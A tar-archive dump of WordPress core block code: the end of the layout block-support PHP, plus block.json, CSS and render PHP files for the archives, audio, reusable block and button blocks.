It's also possible that no inner block wrapper even exists. If that's the * case this code could apply the class names to an invalid element. * * Example: * * $block['innerBlocks'] = array( $list_item ); * $block['innerContent'] = array( '<ul class="list-wrapper is-unordered">', null, '</ul>' ); * * // After rendering, the initial contents may have been modified by other renderers or filters. * $block_content = <<<HTML * <figure> * <ul class="annotated-list list-wrapper is-unordered"> * <li>Code</li> * </ul><figcaption>It's a list!</figcaption> * </figure> * HTML; * * Although it is possible that the original block-wrapper classes are changed in $block_content * from how they appear in $block['innerContent'], it's likely that the original class attributes * are still present in the wrapper as they are in this example. Frequently, additional classes * will also be present; rarely should classes be removed. * * @TODO: Find a better way to match the first inner block. If it's possible to identify where the * first inner block starts, then it will be possible to find the last tag before it starts * and then that tag, if an opening tag, can be solidly identified as a wrapping element. * Can some unique value or class or ID be added to the inner blocks when they process * so that they can be extracted here safely without guessing? Can the block rendering function * return information about where the rendered inner blocks start? * * @var string|null */ $inner_block_wrapper_classes = null; $first_chunk = isset( $block['innerContent'][0] ) ? $block['innerContent'][0] : null; if ( is_string( $first_chunk ) && count( $block['innerContent'] ) > 1 ) { $first_chunk_processor = new WP_HTML_Tag_Processor( $first_chunk ); while ( $first_chunk_processor->next_tag() ) { $class_attribute = $first_chunk_processor->get_attribute( 'class' ); if ( is_string( $class_attribute ) && ! empty( $class_attribute ) ) { $inner_block_wrapper_classes = $class_attribute; } } } /* * If necessary, advance to what is likely to be an inner block wrapper tag. * * This advances until it finds the first tag containing the original class * attribute from above. If none is found it will scan to the end of the block * and fail to add any class names. * * If there is no block wrapper it won't advance at all, in which case the * class names will be added to the first and outermost tag of the block. * For cases where this outermost tag is the only tag surrounding inner * blocks then the outer wrapper and inner wrapper are the same. */ do { if ( ! $inner_block_wrapper_classes ) { break; } if ( false !== strpos( $processor->get_attribute( 'class' ), $inner_block_wrapper_classes ) ) { break; } } while ( $processor->next_tag() ); // Add the remaining class names. foreach ( $class_names as $class_name ) { $processor->add_class( $class_name ); } return $processor->get_updated_html(); } // Register the block support. WP_Block_Supports::get_instance()->register( 'layout', array( 'register_attribute' => 'wp_register_layout_support', ) ); add_filter( 'render_block', 'wp_render_layout_support_flag', 10, 2 ); /** * For themes without theme.json file, make sure * to restore the inner div for the group block * to avoid breaking styles relying on that div. * * @since 5.8.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_restore_group_inner_container( $block_content, $block ) { $tag_name = isset( $block['attrs']['tagName'] ) ? $block['attrs']['tagName'] : 'div'; $group_with_inner_container_regex = sprintf( '/(^\s*<%1$s\b[^>]*wp-block-group(\s|")[^>]*>)(\s*<div\b[^>]*wp-block-group__inner-container(\s|")[^>]*>)((.|\S|\s)*)/U', preg_quote( $tag_name, '/' ) ); if ( wp_theme_has_theme_json() || 1 === preg_match( $group_with_inner_container_regex, $block_content ) || ( isset( $block['attrs']['layout']['type'] ) && 'flex' === $block['attrs']['layout']['type'] ) ) { return $block_content; } $replace_regex = sprintf( '/(^\s*<%1$s\b[^>]*wp-block-group[^>]*>)(.*)(<\/%1$s>\s*$)/ms', preg_quote( $tag_name, '/' ) ); $updated_content = preg_replace_callback( $replace_regex, static function ( $matches ) { return $matches[1] . '<div class="wp-block-group__inner-container">' . $matches[2] . '</div>' . $matches[3]; }, $block_content ); return $updated_content; } add_filter( 'render_block_core/group', 'wp_restore_group_inner_container', 10, 2 ); /** * For themes without theme.json file, make sure * to restore the outer div for the aligned image block * to avoid breaking styles relying on that div. * * @since 6.0.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_restore_image_outer_container( $block_content, $block ) { $image_with_align = " /# 1) everything up to the class attribute contents ( ^\s* <figure\b [^>]* \bclass= [\"'] ) # 2) the class attribute contents ( [^\"']* \bwp-block-image\b [^\"']* \b(?:alignleft|alignright|aligncenter)\b [^\"']* ) # 3) everything after the class attribute contents ( [\"'] [^>]* > .* <\/figure> )/iUx"; if ( wp_theme_has_theme_json() || 0 === preg_match( $image_with_align, $block_content, $matches ) ) { return $block_content; } $wrapper_classnames = array( 'wp-block-image' ); // If the block has a classNames attribute these classnames need to be removed from the content and added back // to the new wrapper div also. if ( ! empty( $block['attrs']['className'] ) ) { $wrapper_classnames = array_merge( $wrapper_classnames, explode( ' ', $block['attrs']['className'] ) ); } $content_classnames = explode( ' ', $matches[2] ); $filtered_content_classnames = array_diff( $content_classnames, $wrapper_classnames ); return '<div class="' . implode( ' ', $wrapper_classnames ) . '">' . $matches[1] . implode( ' ', $filtered_content_classnames ) . $matches[3] . '</div>'; } add_filter( 'render_block_core/image', 'wp_restore_image_outer_container', 10, 2 ); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/archives/block.json��������������������������������������������������������������������������0000644�����������������00000000510�15120262027�0011603 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "apiVersion": 2, "name": "core/archives", "category": "widgets", "attributes": { "displayAsDropdown": { "type": "boolean", "default": false }, "showPostCounts": { "type": "boolean", "default": false } }, "supports": { "align": true, "html": false }, "editorStyle": "wp-block-archives-editor" } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/archives/editor.min.css����������������������������������������������������������������������0000644�����������������00000000050�15120262027�0012377 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ul.wp-block-archives{padding-left:2.5em}����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/archives/style-rtl.min.css�������������������������������������������������������������������0000644�����������������00000000131�15120262027�0013050 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/archives/editor.css��������������������������������������������������������������������������0000644�����������������00000000055�15120262027�0011622 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ul.wp-block-archives{ padding-left:2.5em; }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/archives/style.min.css�����������������������������������������������������������������������0000644�����������������00000000131�15120262027�0012251 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/archives/editor-rtl.css����������������������������������������������������������������������0000644�����������������00000000056�15120262027�0012422 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ul.wp-block-archives{ padding-right:2.5em; }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/archives/editor-rtl.min.css������������������������������������������������������������������0000644�����������������00000000051�15120262027�0013177 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ul.wp-block-archives{padding-right:2.5em}���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/archives/style-rtl.css�����������������������������������������������������������������������0000644�����������������00000000145�15120262027�0012273 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-archives{ box-sizing:border-box; } .wp-block-archives-dropdown label{ display:block; }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/archives/style.css���������������������������������������������������������������������������0000644�����������������00000000145�15120262027�0011474 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-archives{ box-sizing:border-box; } .wp-block-archives-dropdown label{ display:block; }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/archives.php���������������������������������������������������������������������������������0000644�����������������00000005320�15120262027�0010333 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Server-side rendering of the `core/archives` block. * * @package WordPress */ /** * Renders the `core/archives` block on server. * * @see WP_Widget_Archives * * @param array $attributes The block attributes. * * @return string Returns the post content with archives added. */ function render_block_core_archives( $attributes ) { $show_post_count = ! empty( $attributes['showPostCounts'] ); $class = ''; if ( ! empty( $attributes['displayAsDropdown'] ) ) { $class .= ' wp-block-archives-dropdown'; $dropdown_id = esc_attr( uniqid( 'wp-block-archives-' ) ); $title = __( 'Archives' ); /** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */ $dropdown_args = apply_filters( 'widget_archives_dropdown_args', array( 'type' => 'monthly', 'format' => 'option', 'show_post_count' => $show_post_count, ) ); $dropdown_args['echo'] = 0; $archives = wp_get_archives( $dropdown_args ); switch ( $dropdown_args['type'] ) { case 'yearly': $label = __( 'Select Year' ); break; case 'monthly': $label = __( 'Select Month' ); break; case 'daily': $label = __( 'Select Day' ); break; case 'weekly': $label = __( 'Select Week' ); break; default: $label = __( 'Select Post' ); break; } $label = esc_html( $label ); $block_content = '<label class="screen-reader-text" for="' . $dropdown_id . '">' . $title . '</label> <select id="' . $dropdown_id . '" name="archive-dropdown" onchange="document.location.href=this.options[this.selectedIndex].value;"> <option value="">' . $label . '</option>' . $archives . '</select>'; return sprintf( '<div class="%1$s">%2$s</div>', esc_attr( $class ), $block_content ); } $class .= ' wp-block-archives-list'; /** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */ $archives_args = apply_filters( 'widget_archives_args', array( 'type' => 'monthly', 'show_post_count' => $show_post_count, ) ); $archives_args['echo'] = 0; $archives = wp_get_archives( $archives_args ); $classnames = esc_attr( $class ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classnames ) ); if ( empty( $archives ) ) { return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, __( 'No archives to show.' ) ); } return sprintf( '<ul %1$s>%2$s</ul>', $wrapper_attributes, $archives ); } /** * Register archives block. */ function register_block_core_archives() { register_block_type_from_metadata( __DIR__ . '/archives', array( 'render_callback' => 'render_block_core_archives', ) ); } add_action( 'init', 'register_block_core_archives' ); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/audio/block.json�����������������������������������������������������������������������������0000644�����������������00000001427�15120262027�0011110 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "apiVersion": 2, "name": "core/audio", "category": "media", "attributes": { "src": { "type": "string", "source": "attribute", "selector": "audio", "attribute": "src" }, "caption": { "type": "string", "source": "html", "selector": "figcaption" }, "id": { "type": "number" }, "autoplay": { "type": "boolean", "source": "attribute", "selector": "audio", "attribute": "autoplay" }, "loop": { "type": "boolean", "source": "attribute", "selector": "audio", "attribute": "loop" }, "preload": { "type": "string", "source": "attribute", "selector": "audio", "attribute": "preload" } }, "supports": { "anchor": true, "align": true }, "editorStyle": "wp-block-audio-editor", "style": "wp-block-audio" } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/audio/editor.min.css�������������������������������������������������������������������������0000644�����������������00000000325�15120262027�0011701 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-audio{margin-left:0;margin-right:0;position:relative}.wp-block-audio.is-transient audio{opacity:.3}.wp-block-audio .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/audio/style-rtl.min.css����������������������������������������������������������������������0000644�����������������00000000224�15120262027�0012350 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-audio{box-sizing:border-box}.wp-block-audio figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/audio/theme.css������������������������������������������������������������������������������0000644�����������������00000000302�15120262027�0010726 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-audio figcaption{ color:#555; font-size:13px; text-align:center; } .is-dark-theme .wp-block-audio figcaption{ color:hsla(0,0%,100%,.65); } .wp-block-audio{ margin:0 0 1em; }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/audio/theme-rtl.min.css����������������������������������������������������������������������0000644�����������������00000000252�15120262027�0012313 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-audio figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio figcaption{color:hsla(0,0%,100%,.65)}.wp-block-audio{margin:0 0 1em}������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/audio/editor.css�����������������������������������������������������������������������������0000644�����������������00000000370�15120262027�0011117 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-audio{ margin-left:0; margin-right:0; position:relative; } .wp-block-audio.is-transient audio{ opacity:.3; } .wp-block-audio .components-spinner{ left:50%; margin-left:-9px; margin-top:-9px; position:absolute; top:50%; }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/audio/theme.min.css��������������������������������������������������������������������������0000644�����������������00000000252�15120262027�0011514 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-audio figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio figcaption{color:hsla(0,0%,100%,.65)}.wp-block-audio{margin:0 0 1em}������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/audio/style.min.css��������������������������������������������������������������������������0000644�����������������00000000224�15120262027�0011551 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-audio{box-sizing:border-box}.wp-block-audio figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/audio/theme-rtl.css��������������������������������������������������������������������������0000644�����������������00000000302�15120262027�0011525 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-audio figcaption{ color:#555; font-size:13px; text-align:center; } .is-dark-theme .wp-block-audio figcaption{ color:hsla(0,0%,100%,.65); } .wp-block-audio{ margin:0 0 1em; }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/audio/editor-rtl.css�������������������������������������������������������������������������0000644�����������������00000000372�15120262027�0011720 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-audio{ margin-left:0; margin-right:0; position:relative; } .wp-block-audio.is-transient audio{ opacity:.3; } .wp-block-audio .components-spinner{ margin-right:-9px; margin-top:-9px; position:absolute; right:50%; top:50%; }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/audio/editor-rtl.min.css���������������������������������������������������������������������0000644�����������������00000000327�15120262027�0012502 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-audio{margin-left:0;margin-right:0;position:relative}.wp-block-audio.is-transient audio{opacity:.3}.wp-block-audio .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/audio/style-rtl.css��������������������������������������������������������������������������0000644�����������������00000000253�15120262027�0011570 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-audio{ box-sizing:border-box; } .wp-block-audio figcaption{ margin-bottom:1em; margin-top:.5em; } .wp-block-audio audio{ min-width:300px; width:100%; }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/audio/style.css������������������������������������������������������������������������������0000644�����������������00000000253�15120262027�0010771 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-audio{ box-sizing:border-box; } .wp-block-audio figcaption{ margin-bottom:1em; margin-top:.5em; } .wp-block-audio audio{ min-width:300px; width:100%; }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/block/block.json�����������������������������������������������������������������������������0000644�����������������00000000364�15120262027�0011100 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "apiVersion": 2, "name": "core/block", "category": "reusable", "attributes": { "ref": { "type": "number" } }, "supports": { "customClassName": false, "html": false, "inserter": false }, "editorStyle": "wp-block-editor" } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/block/editor.min.css�������������������������������������������������������������������������0000644�����������������00000002141�15120262027�0011670 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container{padding-left:0;padding-right:0}.edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow{display:block}.edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender{display:none}.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-dark-theme .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/block/editor.css�����������������������������������������������������������������������������0000644�����������������00000002210�15120262027�0011103 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container{ padding-left:0; padding-right:0; } .edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow{ display:block; } .edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender{ display:none; } .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color); } .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color); } .is-dark-theme .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff; }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/block/editor-rtl.css�������������������������������������������������������������������������0000644�����������������00000002210�15120262027�0011702 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container{ padding-left:0; padding-right:0; } .edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow{ display:block; } .edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender{ display:none; } .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color); } .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color); } .is-dark-theme .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff; }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/block/editor-rtl.min.css���������������������������������������������������������������������0000644�����������������00000002141�15120262027�0012467 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container{padding-left:0;padding-right:0}.edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow{display:block}.edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender{display:none}.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-dark-theme .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/block.php������������������������������������������������������������������������������������0000644�����������������00000003433�15120262027�0007624 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Server-side rendering of the `core/block` block. * * @package WordPress */ /** * Renders the `core/block` block on server. * * @param array $attributes The block attributes. * * @return string Rendered HTML of the referenced block. */ function render_block_core_block( $attributes ) { static $seen_refs = array(); if ( empty( $attributes['ref'] ) ) { return ''; } $reusable_block = get_post( $attributes['ref'] ); if ( ! $reusable_block || 'wp_block' !== $reusable_block->post_type ) { return ''; } if ( isset( $seen_refs[ $attributes['ref'] ] ) ) { if ( ! is_admin() ) { trigger_error( sprintf( // translators: %s is the user-provided title of the reusable block. __( 'Could not render Reusable Block <strong>%s</strong>: blocks cannot be rendered inside themselves.' ), $reusable_block->post_title ), E_USER_WARNING ); } // WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent // is set in `wp_debug_mode()`. $is_debug = defined( 'WP_DEBUG' ) && WP_DEBUG && defined( 'WP_DEBUG_DISPLAY' ) && WP_DEBUG_DISPLAY; return $is_debug ? // translators: Visible only in the front end, this warning takes the place of a faulty block. __( '[block rendering halted]' ) : ''; } if ( 'publish' !== $reusable_block->post_status || ! empty( $reusable_block->post_password ) ) { return ''; } $seen_refs[ $attributes['ref'] ] = true; $result = do_blocks( $reusable_block->post_content ); unset( $seen_refs[ $attributes['ref'] ] ); return $result; } /** * Registers the `core/block` block. */ function register_block_core_block() { register_block_type_from_metadata( __DIR__ . '/block', array( 'render_callback' => 'render_block_core_block', ) ); } add_action( 'init', 'register_block_core_block' ); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/button/block.json����������������������������������������������������������������������������0000644�����������������00000002176�15120262027�0011324 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "apiVersion": 2, "name": "core/button", "category": "design", "parent": [ "core/buttons" ], "attributes": { "url": { "type": "string", "source": "attribute", "selector": "a", "attribute": "href" }, "title": { "type": "string", "source": "attribute", "selector": "a", "attribute": "title" }, "text": { "type": "string", "source": "html", "selector": "a" }, "linkTarget": { "type": "string", "source": "attribute", "selector": "a", "attribute": "target" }, "rel": { "type": "string", "source": "attribute", "selector": "a", "attribute": "rel" }, "placeholder": { "type": "string" }, "borderRadius": { "type": "number" }, "style": { "type": "object" }, "backgroundColor": { "type": "string" }, "textColor": { "type": "string" }, "gradient": { "type": "string" }, "width": { "type": "number" } }, "supports": { "anchor": true, "align": true, "alignWide": false, "reusable": false, "__experimentalSelector": ".wp-block-button > a" }, "editorStyle": "wp-block-button-editor", "style": "wp-block-button" } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/button/editor.min.css������������������������������������������������������������������������0000644�����������������00000004523�15120262027�0012117 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block[data-align=center]>.wp-block-button{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align=right]>.wp-block-button{ /*!rtl:ignore*/text-align:right}.wp-block-button{cursor:text;position:relative}.wp-block-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color);outline:2px solid transparent;outline-offset:-2px}.wp-block-button[data-rich-text-placeholder]:after{opacity:.8}.wp-block-button__inline-link{color:#757575;height:0;max-width:290px;overflow:hidden}.wp-block-button__inline-link-input__suggestions{max-width:290px}@media (min-width:782px){.wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{max-width:260px}}@media (min-width:960px){.wp-block-button__inline-link,.wp-block-button__inline-link-input__suggestions{max-width:290px}}.is-selected .wp-block-button__inline-link{height:auto;overflow:visible}.wp-button-label__width .components-button-group{display:block}.wp-button-label__width .components-base-control__field{margin-bottom:12px}div[data-type="core/button"]{display:table}.editor-styles-wrapper .wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where(.has-border-color){border-width:initial}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-color]){border-top-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-color]){border-right-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){border-bottom-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-color]){border-left-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-style]){border-width:initial}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-style]){border-top-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-style]){border-right-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){border-bottom-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-style]){border-left-width:medium}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������blocks/button/style-rtl.min.css���������������������������������������������������������������������0000644�����������������00000006041�15120262027�0012565 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wp-block-button__link{box-sizing:border-box;cursor:pointer;display:inline-block;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width 